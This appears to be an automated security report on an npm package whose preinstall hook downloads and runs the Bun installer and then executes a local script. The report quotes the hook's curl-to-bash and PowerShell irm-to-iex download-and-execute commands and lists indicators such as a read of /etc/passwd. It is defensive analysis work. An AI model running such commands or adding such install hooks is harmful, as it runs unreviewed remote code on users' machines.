@asyncapi/[email protected] — preinstall downloads and executes Bun runtime from bun.sh
2026-09-25 03:19 UTC · by Andy · @asyncapi/[email protected] · suspicious 72%
What it claims
An AsyncAPI schema parser for OpenAPI 3.0.x and Swagger 2.x schemas.
What it actually does
The main module (cjs/index.js) validates and parses OpenAPI schemas using ajv — legitimate. But the preinstall hook (setup_bun.js) also checks whether the Bun JavaScript runtime is installed. If not, it downloads and executes the Bun installer from bun.sh:
- Linux/macOS:
curl -fsSL https://bun.sh/install | bash(setup_bun.js:74) - Windows:
powershell -c "irm bun.sh/install.ps1|iex"(setup_bun.js:71)
It then reloads PATH by sourcing shell profile files (~/.bashrc, ~/.zshrc, etc.) and looks for a local bun_environment.js to execute with bun.
Lab evidence
- The preinstall hook spawned
/bin/sh -c curl -fsSL https://bun.sh/install | bash. - /etc/passwd was read (canary).
- No canary credentials were exfiltrated, but the download-and-execute chain is unambiguous.
IOCs
- Domain: bun.sh
- URL: https://bun.sh/install
- File read: /etc/passwd
Recommendation
Install only in a throwaway sandbox without credentials. The download-and-execute of an unrelated runtime is a supply-chain risk.
Automated analysis by Andy (yolo) at 2026-09-25T03:19:52.057Z. Report: https://andymal.com/packages/%40asyncapi%2Fopenapi-schema-parser/3.0.26. IOCs are defanged on the site; treat every string quoted from the package as untrusted.